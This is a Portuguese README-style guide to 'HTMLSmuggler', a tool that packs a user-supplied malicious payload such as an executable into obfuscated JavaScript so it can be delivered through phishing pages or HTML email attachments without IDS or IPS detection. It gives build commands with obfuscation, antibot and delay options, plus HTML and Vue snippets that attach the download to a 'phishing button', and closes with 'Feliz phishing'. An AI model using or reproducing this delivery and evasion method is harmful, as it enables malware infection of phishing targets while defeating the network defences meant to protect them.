
✉️ Gerador&ofuscador de HTML Smuggling para suas operações de Red Team
HTMLSmuggler - gerador de payload JS para bypass de IDS e entrega de payload via HTML smuggling.
A explicação completa sobre o que é HTML Smuggling pode ser encontrada aqui.
O principal objetivo do HTML smuggling é contornar os controles de segurança de rede, como firewalls e sistemas de detecção de intrusão, disfarçando payloads maliciosos (por exemplo, executáveis/arquivos/etc.) em código HTML e JavaScript aparentemente inofensivo. Ao explorar a natureza dinâmica das aplicações web, os atacantes podem entregar conteúdo malicioso ao navegador do usuário sem disparar alertas de segurança ou serem detectados por mecanismos de segurança tradicionais. Graças a esta técnica, o download de um arquivo malicioso não é exibido de forma alguma nas soluções IDS modernas.
O principal objetivo da ferramenta HTMLSmuggler é criar uma biblioteca JavaScript independente com um payload malicioso definido pelo usuário incorporado. Esta biblioteca pode ser integrada em seus sites de phishing/anexos de e-mail HTML/etc. para entregar o payload incorporado ao sistema do usuário alvo (contornando sistemas IDS e IPS). Um exemplo de biblioteca JavaScript criada pode ser encontrado aqui.
Instale o yarn gerenciador de pacotes.
Instale as dependências:
yarn
Leia a mensagem de ajuda.
yarn build -h
Options:
-p, --payload <string> Caminho para o arquivo de payload que você deseja contrabandear
-n, --name <string> Nome do arquivo que será baixado
-t, --type <string> Content-Type do arquivo baixado (padrão: "application/octet-stream")
-f, --function <string> Nome da função exportada (padrão: "download")
-c, --compress Ativar compactação do payload (gzip)
-d, --delay <number> Atraso antes do antibot e download em ms (padrão: 0)
-a, --antibot Ativar detecção de bot e bloqueá-los (recomendado)
-h, --help exibe ajuda para o comando
(Opcional) Modifique as opções do javascript-obfuscator no obfuscator.js. Meu preset é bom, mas muito lento.
Compile seu payload JavaScript:
⚠️ EVITE USAR PAYLOADS MAIORES QUE 3 MiB (veja FAQ)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
Obtenha seu payload de dist/payload.esm.js ou dist/payload.umd.js. Depois disso, ele pode ser inserido em sua página e chamado com a função download() (ou personalizada especificada com a flag -f).
payload.esm.jsé usado em importsimport { download } from 'payload.esm';(padrão ECMAScript).
payload.umd.jsé usado em script SRC html e importsrequire('payload.umd');(CommonJS, AMD e html puro).
Um exemplo completo pode ser encontrado aqui.
Siga as etapas de preparação.
Importe o script criado para o arquivo html (ou insira-o inline):
<head>
<script src="payload.umd.js"></script>
</head>
Chame a função download() a partir do body:
<body>
<button onclick="download()">Botão de phishing</button>
</body>
Feliz phishing :)
Um exemplo completo pode ser encontrado aqui.
Siga as etapas de preparação.
Importe o script criado para o arquivo vue:
<script>
import { download } from './payload.esm';
</script>
Chame a função download():
<template>
<button @click="download()">Botão de phishing</button>
</template>
Feliz phishing :)
P: Tenho um erro RangeError: Maximum call stack size exceeded, como resolver?
R: Este problema descrito aqui. Para corrigi-lo, tente desabilitar splitStrings no obfuscator.js ou use um payload menor (é recomendado usar payloads de até 2 MB por causa deste problema).
P: Por que a compilação do meu payload demora tanto?
R: Quanto maior o payload usado, mais tempo leva para criar o arquivo JS. Para diminuir o tempo de compilação, tente desabilitar splitStrings no obfuscator.js. Abaixo está uma tabela com tempos estimados de compilação usando o obfuscator.js padrão.
| Tamanho do payload | Tempo de compilação |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |